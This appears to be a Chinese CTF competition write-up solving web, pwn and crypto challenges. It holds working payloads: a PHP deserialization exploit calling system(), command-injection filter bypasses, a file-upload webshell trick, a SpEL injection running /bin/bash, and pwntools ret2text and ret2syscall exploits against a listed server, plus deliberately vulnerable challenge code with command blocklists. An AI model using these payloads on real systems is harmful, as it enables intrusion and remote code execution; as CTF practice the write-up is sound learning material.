前言
web ak了,顺带做了点pwn和密码
最终排名:14
Web
ezupload
要求传gif,抓包改后缀为php写马
flag在上一级目录
php very nice
反序列化
源码
<?php
highlight_file(__FILE__);
class Example
{
public $sys='Can you find the leak?';
function __destruct(){
eval($this->sys);
}
}
unserialize($_GET['a']);
?>
非常基础的反序列化
exp:
<?php
class Example {
public $sys='Can you find the leak?';
}
$a=new Example();
$a->sys="system('tac flag.php');";
echo serialize($a);
再来ping一波啊
逆天,环境变量的flag是错的
正解:遍历了一下目录没找到flag文件,flag在index.php里
我这里测了半天最后是用变量拼接命令执行来读index.php的,空格用%09
代替
这里把源码扒下来了
<?php
$flag = 'flag{ae5eb824ef87499f644c3f11a7176157}';
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|\>|`|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
print_r($match);
print($ip);
echo "<pre>";
echo preg_match("/\&|\/|\?|\*|\<|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
}
else if(preg_match("/ /", $ip)){
die("空格我可没加难度这可真是复习,/斜眼笑");
}
else if(preg_match("/bash/", $ip)){
die("Bash is not allowed");
}
else if(preg_match("/ls/", $ip)){
die("我很抱歉,其实你得再研究研究");
}
else if(preg_match("/cat|tac|sort|head|tail|more|less/", $ip)){
die("常用的读取命令肯定不行,你要是想出绕过的也算你厉害。但过滤机制是改了的-。-,你再研究研究?");
}
else if(preg_match("/rm/", $ip)){
die("你要搞我???");
}
else if(preg_match("/index/",$ip)){
die("那能让你直接读?");
}
$a = system("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
这里其实可以用nl
来读文件,试了一下确实可行
代码审计1
php原生类
<?php
highlight_file(__FILE__);
include('flag.php');
$sys = $_GET['sys'];
if (preg_match("|flag|", $xsx)) {
die("flag is no here!");
} else {
$xsx = $_GET['xsx'];
echo new $sys($xsx);
}
最底下出现了echo new $sys($xsx)
,可以知道这题应该是用到原生类
payload:
SplFileObject(php://filter/convert.base64-encode/resource=flag.php)
wu
RCE取反
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(preg_match("/[A-Za-z0-9]+/",$a)){
die("no!");
}
@eval($a);
?>
rce取反秒了
自由的文件上传系统
文件上传+php短标签
拿到shell后顺手扒下来的源码
<?php
error_reporting(0);
$path = "/var/www/html/upload";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$content = str_replace('?', '!', $content);
?>
<!doctype html>
<html lang="zh" class="no-js">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>è‡ªç”±çš„æ–‡ä»¶ä¸Šä¼ ç³»ç»Ÿ</title>
<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/default.css" />
<link rel="stylesheet" type="text/css" href="css/component.css" />
<script>(function(e,t,n){var r=e.querySelectorAll("html")[0];r.className=r.className.replace(/(^|\s)no-js(\s|$)/,"$1js$2")})(document,window,0);</script>
</head>
<body>
<div class="container">
<header class="htmleaf-header">
<h1>è‡ªç”±çš„æ–‡ä»¶ä¸Šä¼ ç³»ç»Ÿ <span>简å•ã€è‰¯å¿ƒã€è¯šä¿¡ã€å¼€æºã€å…è´¹ã€å®‰å…¨ã€æ— é™ç©ºé—´</span></h1>
<div >
<a class="htmleaf-icon icon-htmleaf-home-outline" href="sectet_include.php?file=index.html" title="返回主页" target="_blank"><span> 返回主页</span></a>
</div>
</header>
<div class="content">
<script language="php">
if(isset($content) and $content!=null){
$file = $path.'/'.rand(10000,99999).rand(10000,99999);
file_put_contents($file, $content);
echo "<br>æˆåŠŸä¸Šä¼ ï¼ä¸ºäº†æ‚¨å’Œä»–人的安全,我们简å•çš„帮您润色了一下文件,请ä¸ç”¨å®¢æ°”。<br><br> 文件ç»å¯¹è·¯å¾„: $file<br>";
}else{
echo "ä½ å¥½åƒè¿˜æ²¡ä¸Šä¼ 文件æ0.0";
}
</script>
<footer>Designed By <a href="http://shawroot.cc" target="_blank">ShawRoot</a>.</footer>
</div>
</div>
<script src="js/custom-file-input.js"></script>
</body>
</html>
这题说会帮我们润色文件,一开始还以为会有二次渲染,结果试了半天发现没有
尝试传入文件,发现会回显传入文件的路径,传入文件后的文件名没有后缀
然后首页ctrl+u发现一个存在文件包含的路径sectet_include.php?file=
接下来就是构造一句话木马了进行文件包含了
测试发现把<?
过滤了,用<script language="php">
短标签绕过即可
拿到shell,注意环境变量里的flag是错的
ezjava
SPEL注入
源码
package com.example.demo.controller;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RequestMapping({"/SPEL"})
@RestController
/* loaded from: demo1-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/example/demo/controller/spel.class */
public class spel {
@RequestMapping({"/vul"})
public String spelVul(String ex) {
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
String result = parser.parseExpression(ex).getValue(evaluationContext).toString();
System.out.println(result);
return result;
}
}
路由在/SPEL/vul
没有过滤的SPEL注入,直接参考Boogipop的博客
payload:
/SPEL/vul?ex=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("/bin/bash","-c","cat /app/flag.txt").start().getInputStream(), "gbk")).readLine()
Pwn
小狗汪汪汪
ret2text
32位,反编译
ebp偏移0x9位
shift+f12发现有system和/bin/sh
跟踪到函数getshell,找到起始地址
exp:
from pwn import *
p = remote("123.60.135.228", "2149")
offset = 0x9+0x4
get_flag_addr = 0x804859B
payload = offset * b'a' + p32(get_flag_addr)
p.sendline(payload)
p.interactive()
03ret2syscall_32
ret2syscall
直接参考ctfwiki:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2syscall
32位没开保护,ebp偏移0x208
分别拿到eax
、ebx
、/bin/sh
、int 0x80
的地址
ROPgadget --binary 32 --only 'pop|ret' | grep 'eax'
ROPgadget --binary 32 --only 'pop|ret' | grep 'ebx'
ROPgadget --binary 32 --string '/bin/sh'
ROPgadget --binary 32 --only 'int'
exp:
from pwn import *
sh = remote("123.60.135.228", "2091")
pop_eax_ret = 0x080b8576
pop_edx_ecx_ebx_ret = 0x0806f250
int_0x80 = 0x0806cea3
binsh = 0x080ea068
payload = b'A' * 0x208 + p32(0x4) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) + p32(int_0x80)
sh.sendline(payload)
sh.interactive()
Crypto
天干地支
天干地支加密
小李某一天收到一条微信,微信中写了几个不同的年份
丁丑 丙子 戊辰 壬午 丁丑 丙子 戊辰 壬午 壬辰 壬辰 辛未 丙戌
微信的后面还写有“+甲子”,请解出这段密文。
flag格式:flag{XXX}
找张表对着换就行
然后”+甲子“就是再+60,然后转换成字符
脚本:
ascii_values = [14, 13, 5, 19, 14, 13, 5, 19, 29, 29, 8, 23]
result = ""
for ascii_val in ascii_values:
converted_val = chr(ascii_val + 60)
result += converted_val
print(result)
# JIAOJIAOYYDS
得到flag
low encryption exponent RSA
低指数加密
题目
# -*- coding = utf-8 -*-
# @software:PyCharm
from Crypto.Util.number import *
import libnum
flag = b'***********************'
m = bytes_to_long(flag)
n = getRandomNBitInteger(2048)
e = 5
c = pow(m, e, n)
print(n)
print(c)
#n=18049146130359556157811138499355569967231668855528566823643376144155931993553424757354835027829037263429007310779886281743425186527415596058004878860570474866413182148724803537036078612785180550377667299555519230603647447077725080756322343538156406080031959768393145744701092093127752647143419553963316375696232038952573236311522683541862835602321038621904842874356522524316864553501304106884213097353522958546518042728628006318129608745487662533959888992223736595503203451378533217004433230837006796341055201266431153548000348148960250455415972226546646460918890401484239320725539304914347952245606818833495867312063
#c=377041108412334062897923100149371833160065752130578483588828849399791858197434981428466047315212724764223394695011882740933537996983126187094472520344493047769519118482187945467176598341785927269390299847888131061799861412055502165865052720513992259109503509827127768615772091500352075827289290029872935215672798059068944088543667111296361405639896493856695176145088430237388172420390881291650155157688737470414069130558367036786376549227175617218017578125
e=5,应该是低指数加密
exp:
from Crypto.Util.number import *
import gmpy2
n = 18049146130359556157811138499355569967231668855528566823643376144155931993553424757354835027829037263429007310779886281743425186527415596058004878860570474866413182148724803537036078612785180550377667299555519230603647447077725080756322343538156406080031959768393145744701092093127752647143419553963316375696232038952573236311522683541862835602321038621904842874356522524316864553501304106884213097353522958546518042728628006318129608745487662533959888992223736595503203451378533217004433230837006796341055201266431153548000348148960250455415972226546646460918890401484239320725539304914347952245606818833495867312063
e = 5
c = 377041108412334062897923100149371833160065752130578483588828849399791858197434981428466047315212724764223394695011882740933537996983126187094472520344493047769519118482187945467176598341785927269390299847888131061799861412055502165865052720513992259109503509827127768615772091500352075827289290029872935215672798059068944088543667111296361405639896493856695176145088430237388172420390881291650155157688737470414069130558367036786376549227175617218017578125
k = 0
t = gmpy2.iroot(c,e)
if t[1]:
print(long_to_bytes(t[0]))
else:
while 1:
m = gmpy2.iroot(k*n+c,e)
if m[1]:
print(long_to_bytes(m[0]))
break
else:
k += 1
flag:flag{fea80b814dcb0ff0a17e36c1e72569e7}